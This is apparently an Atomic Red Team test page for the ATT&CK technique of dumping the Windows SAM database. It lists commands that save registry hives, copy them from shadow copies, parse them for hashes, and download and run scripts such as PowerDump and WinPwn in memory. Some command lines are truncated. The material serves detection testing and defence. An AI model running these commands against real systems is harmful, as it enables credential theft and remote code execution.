T1003.002 - Security Account Manager

Description from ATT&CK

> Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the `net user` command. Enumerating the SAM database requires SYSTEM level access.
> A number of tools can be used to retrieve the SAM file through in-memory techniques:
>
> - pwdumpx.exe
> - gsecdump
> - Mimikatz
> - secretsdump.py
>
> Alternatively, the SAM can be extracted from the Registry with Reg:
>
> - `reg save HKLM\sam sam`

> - `reg save HKLM\system system`
>
> Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)
>
> Notes:
>
> - RID 500 account is the local, built-in administrator.
> - RID 501 is the guest account.
> - User accounts start with a RID of 1,000+.

Atomic Tests

Atomic Test #1 - Registry dump of SAM, creds, and secrets

Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.

Supported Platforms: Windows

auto_generated_guid: 5c2571d0-1572-416d-9676-812e64ca9f44

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg save HKLM\sam %temp%\sam
reg save HKLM\system %temp%\system
reg save HKLM\security %temp%\security
```

Cleanup Commands:

```
del %temp%\sam >nul 2> nul
del %temp%\system >nul 2> nul
del %temp%\security >nul 2> nul
```

Atomic Test #2 - Registry parse with pypykatz

Parses registry hives to obtain stored credentials

Supported Platforms: Windows

auto_generated_guid: a96872b2-cbf3-46cf-8eb4-27e8c0e85263

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
pypykatz live registry
```

Dependencies: Run with `command_prompt`!

Description: Computer must have python 3 installed

Check Prereq Commands:

```
py -3 --version >nul 2>&1
exit /b %errorlevel%
```

Get Prereq Commands:

```
echo "Python 3 must be installed manually"
```

Description: Computer must have pip installed

Check Prereq Commands:

```
py -3 -m pip --version >nul 2>&1
exit /b %errorlevel%
```

Get Prereq Commands:

```
echo "PIP must be installed manually"
```

Description: pypykatz must be installed and part of PATH

Check Prereq Commands:

```
pypykatz -h >nul 2>&1
exit /b %errorlevel%
```

Get Prereq Commands:

```
pip install pypykatz
```

Preview Code Blame Raw

Atomic Test #3 - esentutl.exe SAM copy

Copy the SAM hive using the esentutl.exe utility This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.

Supported Platforms: Windows

auto_generated_guid: a90c2f4d-6726-444e-99d2-a00cd7c20480

Inputs:

Name	Description	Type	Default Value
file_path	Path to the file to copy	Path	%SystemRoot%/system32/config/SAM
file_name	Name of the copied file	String	SAM
copy_dest	Destination of the copied file	String	%temp%

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}
```

Cleanup Commands:

```
del #{copy_dest}\#{file_name} >nul 2>&1
```

Atomic Test #4 - PowerDump Hashes and Usernames from Registry

Executes a hashdump by reading the hashes from the registry.

Supported Platforms: Windows

auto_generated_guid: 804f28fc-68fc-40da-b5a2-e9d0bce5c193

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green
Import-Module "$Env:Temp\PowerDump.ps1"
Invoke-PowerDump
```

Dependencies: Run with `powershell`!

Description: PowerDump script must exist on disk at specified location

Check Prereq Commands:

```
if (Test-Path "$Env:Temp\PowerDump.ps1") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-Webrequest -Uri "https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdb
```

Atomic Test #5 - dump volume shadow copy hives with certutil

Dump hives from volume shadow copies with the certutil utility This can be done with a non-admin user account

Supported Platforms: Windows

auto_generated_guid: eeb9751a-d598-42d3-b11c-c122d9c3f6c7

Inputs:

Name	Description	Type	Default Value
dump_path	Path where the hive will be dumped	Path	$ENV:temp
target_hive	Hive you wish to dump	String	SAM
dumped_hive	Name of the dumped hive	String	myhive

Attack Commands: Run with `powershell`!

```
write-host ""
$shadowlist = get-wmiobject win32_shadowcopy
$volumenumbers = foreach($shadowcopy in $shadowlist){$shadowcopy.DeviceObject[-1]}
$maxvolume = ($volumenumbers | Sort-Object -Descending)[0]
```

```
$shadowpath = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy" + $maxvolume + "\Wi
certutil -f -v -encodehex $shadowpath #{dump_path}\#{dumped_hive} 2
```

Cleanup Commands:

```
$toremove = #{dump_path} + "\" + '#{dumped_hive}'
rm $toremove -ErrorAction Ignore
```

Atomic Test #6 - dump volume shadow copy hives with System.IO.File

Dump hives from volume shadow copies with System.IO.File

Supported Platforms: Windows

auto_generated_guid: 9d77fed7-05f8-476e-a81b-8ff0472c64d0

Inputs:

Name	Description	Type	Default Value
dump_path	Path where the hive will be dumped	Path	$ENV:temp
target_hive	Hive you wish to dump	String	SAM
dumped_hive	Name of the dumped hive	String	myhive

Attack Commands: Run with `powershell`!

```
write-host ""
$shadowlist = get-wmiobject win32_shadowcopy
$volumenumbers = foreach($shadowcopy in $shadowlist){$shadowcopy.DeviceObject[-1]}
$maxvolume = ($volumenumbers | Sort-Object -Descending)[0]
$shadowpath = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy" + $maxvolume + "\Wi
$mydump = #{dump_path} + '\' + '#{dumped_hive}'
[System.IO.File]::Copy($shadowpath , $mydump)
```

Cleanup Commands:

```
$toremove = #{dump_path} + "\" + '#{dumped_hive}'
rm $toremove -ErrorAction Ignore
```

Atomic Test #7 - WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes

Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 0c0f5f06-166a-4f4d-bb4a-719df9a01dbb

Attack Commands: Run with `powershell`!

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
samfile -consoleoutput -noninteractive
```